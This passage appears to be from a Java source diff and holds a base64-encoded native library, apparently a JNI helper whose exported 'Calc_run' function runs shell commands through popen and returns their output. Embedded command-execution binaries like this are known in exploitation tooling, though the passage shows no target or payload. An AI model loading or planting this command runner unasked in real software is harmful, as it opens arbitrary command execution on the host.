AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAEgAAACkAAAAFwAAAAEAAAAAAAAAAAAAAAMAAAAAAAAAEAAAAAAAAAAYAAAAABAGAABAAAAAAAAAAAAAAAEAAAACAgAA/SIAAP1gAAABugAAAfwAAP0+AQAB/AEAAZQCAP0eAwD9ugMAARQEAAE2BAD9cgQAAYAEAAG0BAAB2gQAAfQEAAIgBQACRAUAAmoFAAJ4BQACiAUAApgFAABfX1Vud2luZF9SZXN1bWUAX19aTjdKTklFbnZfMTJOZXdTdHJpbmdVVEZFUEtjAF9fWk43Sk5JRW52XzE3R2V0U3RyaW5nVVRGQ2hhcnNFUDhfanN0cmluZ1BoAF9fWk5TdDIwYmFkX2FycmF5X25ld19sZW5ndGhDMUV2AF9fWk5TdDIwYmFkX2FycmF5X25ld19sZW5ndGhEMUV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxMF9fYWxpZ25faXRCNnYxNTAwNklMbTE2RUVFbW0AX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTZhcHBlbmRFUEtjAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVEMUV2AF9fWk5TdDNfXzExNmFsbG9jYXRvcl90cmFpdHNJTlNfOWFsbG9jYXRvckljRUVFOG1heF9zaXplQjZ2MTUwMDZJUzJfdkVFbVJLUzJfAF9fWk5TdDNfXzEzMF9fbGliY3BwX2lzX2NvbnN0YW50X2V2YWx1YXRlZEV2AF9fWlN0OXRlcm1pbmF0ZXYAX19aVElTdDIwYmFkX2FycmF5X25ld19sZW5ndGgAX19abndtAF9fX2N4YV9hbGxvY2F0ZV9leGNlcHRpb24AX19fY3hhX2JlZ2luX2NhdGNoAF9fX2N4YV90aHJvdwBfX19neHhfcGVyc29uYWxpdHlfdjAAX19fc3RhY2tfY2hrX2ZhaWwAX19fc3RhY2tfY2hrX2d1YXJkAF9mZ2V0cwBfbWVtc2V0AF9wY2xvc2UAX3BvcGVuAAAAAV8ACgMAsGoAAAJKYXZhX29yZ19jb21tYW5kX2V4ZWNfam5pX0NhbGNfcnVuAAVfWk4AdQMEkG8AAAIyTmV3U3RyaW5nVVRGRVBLYwA1N0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABwAwSAbgAAAjdKTklFbnZfMQA6U3QzX18xALICAwTgdwAAAjJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTBfX2FsaWduX2l0QjZ2MTUwMDZJTG0xNkVFRW1tAIsBNmFsbG9jYXRvcl90cmFpdHNJTlNfOWFsbG9jYXRvckljRUVFOG1heF9zaXplQjZ2MTUwMDZJUzJfdkVFbVJLUzJfAK0CAwSAeQAAAjEAkAEzMF9fbGliY3BwX2lzX2NvbnN0YW50X2V2YWx1YXRlZEV2AN0CAwTgcwAAAAAAAACwatADQCAwMCAQQDAQkAEwECAgEFAQkAEwIBAwcDAgECCAASBAICAgIBAwEFBgIDAgEAAAAAAAAPgCAAAeAYAAQDcAAAAAAABFAwAAHgGAAGA3AAAAAAAAlAMAAB4BgADANwAAAAAAAOYDAAAeAYAA4DcAAAAAAAD+AwAAHgGAAPA3AAAAAAAASwQAAB4BgAAwOAAAAAAAAN0EAAAeAYAAYDgAAAAAAABGBQAAHgGAAHA4AAAAAAAAoQUAAB4BgAAAOQAAAAAAADMGAAAeAYAAMDkAAAAAAADDBgAAHgGAAEA5AAAAAAAAJAcAAB4BgABgOQAAAAAAAEgHAAAeAYAAgDkAAAAAAACIBwAAHgGAAJA5AAAAAAAA2gcAAB4BgADwOQAAAAAAADIIAAAeAYAAgDoAAAAAAAB5CAAAHgGAALA6AAAAAAAAzAgAAB4BgADQOgAAAAAAACsJAAAeAYAA4DoAAAAAAACLCQAAHgGAABA7AAAAAAAA5gkAAB4BgACAOwAAAAAAAEIKAAAeAYAAsDsAAAAAAAC1CgAAHgGAANA7AAAAAAAAMgsAAB4BgAAAPAAAAAAAAF0LAAAeAYAAoDwAAAAAAACKCwAAHgGAAOA8AAAAAAAAswsAAB4BgAAAPQAAAAAAAN8LAAAeAYAAID0AAAAAAAAVDAAAHgGAAEA9AAAAAAAAiQwAAB4BgABgPQAAAAAAANcMAAAeAYAAcD0AAAAAAAAoDQAAHgGAAKA9AAAAAAAAVA0AAB4BgACwPQAAAAAAAK8NAAAeAYAAAD4AAAAAAAAFDgAAHgGAAGA+AAAAAAAAZQ4AAB4BgACAPgAAAAAAAMYOAAAeAYAAsD4AAAAAAAA6DwAAHgGAANA+AAAAAAAAuA8AAB4BgADgPgAAAAAAAPEPAAAOAwAAYD8AAAAAAAACAAAADwEAADA1AAAAAAAAJgAAAA8BgACQNwAAAAAAAEUAAAAPAYAAADcAAAAAAAByAAAADwGAAOA7AAAAAAAA0QAAAA8BgACAPAAAAAAAAB8BAAAPAYAA4DkAAAAAAABMAQAAAQAAAgAAAAAAAAAAXAEAAAEAAAEAAAAAAAAAAH0BAAABAAABAAAAAAAAAACeAQAAAQAAAQAAAAAAAAAA6gEAAAEAAAEAAAAAAAAAAC8CAAABAAABAAAAAAAAAABAAgAAAQAAAQAAAAAAAAAAXgIAAAEAgAEAAAAAAAAAAGUCAAABAAABAAAAAAAAAAB/AgAAAQAAAQAAAAAAAAAAkgIAAAEAAAEAAAAAAAAAAJ8CAAABAAABAAAAAAAAAAC1AgAAAQAAAgAAAAAAAAAAxwIAAAEAAAIAAAAAAAAAANoCAAABAAACAAAAAAAAAADhAgAAAQAAAgAAAAAAAAAA6QIAAAEAAAIAAAAAAAAAAPECAAABAAACAAAAAAAAAAAuAAAAKQAAACoAAAAvAAAAKwAAADEAAAAyAAAALAAAAC0AAAAzAAAANQAAADYAAAA3AAAAOAAAADoAAAA8AAAAPQAAAD4AAAA/AAAALgAAACkAAAAqAAAALwAAADAAAAArAAAAMQAAADIAAAAsAAAALQAAADMAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAD8AAAAgAF9KYXZhX29yZ19jb21tYW5kX2V4ZWNfam5pX0NhbGNfcnVuAF9fWk43Sk5JRW52XzEyTmV3U3RyaW5nVVRGRVBLYwBfX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTBfX2FsaWduX2l0QjZ2MTUwMDZJTG0xNkVFRW1tAF9fWk5TdDNfXzExNmFsbG9jYXRvcl90cmFpdHNJTlNfOWFsbG9jYXRvckljRUVFOG1heF9zaXplQjZ2MTUwMDZJUzJfdkVFbVJLUzJfAF9fWk5TdDNfXzEzMF9fbGliY3BwX2lzX2NvbnN0YW50X2V2YWx1YXRlZEV2AF9fVW53aW5kX1Jlc3VtZQBfX1pOU3QyMGJhZF9hcnJheV9uZXdfbGVuZ3RoQzFFdgBfX1pOU3QyMGJhZF9hcnJheV9uZXdfbGVuZ3RoRDFFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNmFwcGVuZEVQS2MAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUQxRXYAX19aU3Q5dGVybWluYXRldgBfX1pUSVN0MjBiYWRfYXJyYXlfbmV3X2xlbmd0aABfX1pud20AX19fY3hhX2FsbG9jYXRlX2V4Y2VwdGlvbgBfX19jeGFfYmVnaW5fY2F0Y2gAX19fY3hhX3Rocm93AF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2ZnZXRzAF9tZW1zZXQAX3BjbG9zZQBfcG9wZW4AX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUMxQjZ2MTUwMDZFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExCNnYxNTAwNkVQS2MAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1Y19zdHJCNnYxNTAwNkV2AF9fX2NsYW5nX2NhbGxfdGVybWluYXRlAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVDMkI2djE1MDA2RXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUI2djE1MDA2SU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRVNBX0VFT1RfT1QwXwBfX1pOU3QzX18xMTlfX2RlYnVnX2RiX2luc2VydF9jQjZ2MTUwMDZJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFRUVFdlBUXwBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTRfX2RlZmF1bHRfaW5pdEI2djE1MDA2RXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkI2djE1MDA2SU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRVNBX0VFT1RfT1QwXwBfX1pOU3QzX18xMjJfX2NvbXByZXNzZWRfcGFpcl9lbGVtSU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVMaTBFTGIwRUVDMkI2djE1MDA2RU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRQBfX1pOU3QzX18xMjJfX2NvbXByZXNzZWRfcGFpcl9lbGVtSU5TXzlhbGxvY2F0b3JJY0VFTGkxRUxiMUVFQzJCNnYxNTAwNkVOU18xOF9fZGVmYXVsdF9pbml0X3RhZ0UAX19aTlN0M19fMTlhbGxvY2F0b3JJY0VDMkI2djE1MDA2RXYAX19aTlN0M19fMTE2X19ub25fdHJpdmlhbF9pZklMYjFFTlNfOWFsbG9jYXRvckljRUVFQzJCNnYxNTAwNkV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2X196ZXJvQjZ2MTUwMDZFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTFfX3JlY29tbWVuZEI2djE1MDA2RW0AX19aTlN0M19fMTE2YWxsb2NhdG9yX3RyYWl0c0lOU185YWxsb2NhdG9ySWNFRUU4YWxsb2NhdGVCNnYxNTAwNkVSUzJfbQBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFN19fYWxsb2NCNnYxNTAwNkV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxNl9fYmVnaW5fbGlmZXRpbWVCNnYxNTAwNkVQY20AX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19zZXRfbG9uZ19wb2ludGVyQjZ2MTUwMDZFUGMAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE0X19zZXRfbG9uZ19jYXBCNnYxNTAwNkVtAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxNV9fc2V0X2xvbmdfc2l6ZUI2djE1MDA2RW0AX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RCNnYxNTAwNkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRTVfX2dldEI2djE1MDA2RXYAX19aTlN0M19fMTlhbGxvY2F0b3JJY0U4YWxsb2NhdGVCNnYxNTAwNkVtAF9fWlN0MjhfX3Rocm93X2JhZF9hcnJheV9uZXdfbGVuZ3RoQjZ2MTUwMDZ2AF9fWk5TdDNfXzExN19fbGliY3BwX2FsbG9jYXRlQjZ2MTUwMDZFbW0AX19aTktTdDNfXzE5YWxsb2NhdG9ySWNFOG1heF9zaXplQjZ2MTUwMDZFdgBfX1pOU3QzX18xMjFfX2xpYmNwcF9vcGVyYXRvcl9uZXdCNnYxNTAwNklKbUVFRVB2RHBUXwBfX1pOU3QzX18xMTdfX2NvbXByZXNzZWRfcGFpcklOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFUzVfRTZzZWNvbmRCNnYxNTAwNkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfOWFsbG9jYXRvckljRUVMaTFFTGIxRUU1X19nZXRCNnYxNTAwNkV2AF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNGRhdGFCNnYxNTAwNkV2AF9fWk5TdDNfXzExMl9fdG9fYWRkcmVzc0I2djE1MDA2SUtjRUVQVF9TM18AX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxM19fZ2V0X3BvaW50ZXJCNnYxNTAwNkV2AF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFOV9faXNfbG9uZ0I2djE1MDA2RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOF9fZ2V0X2xvbmdfcG9pbnRlckI2djE1MDA2RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJCNnYxNTAwNkV2AF9fWk5LU3QzX18xMTdfX2NvbXByZXNzZWRfcGFpcklOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFUzVfRTVmaXJzdEI2djE1MDA2RXYAX19aTktTdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRTVfX2dldEI2djE1MDA2RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0I2djE1MDA2RVJTMV8AR0NDX2V4Y2VwdF90YWJsZTAAAAAAAAA="; +// private static final String COMMAND_JNI_FILE_BYTES = 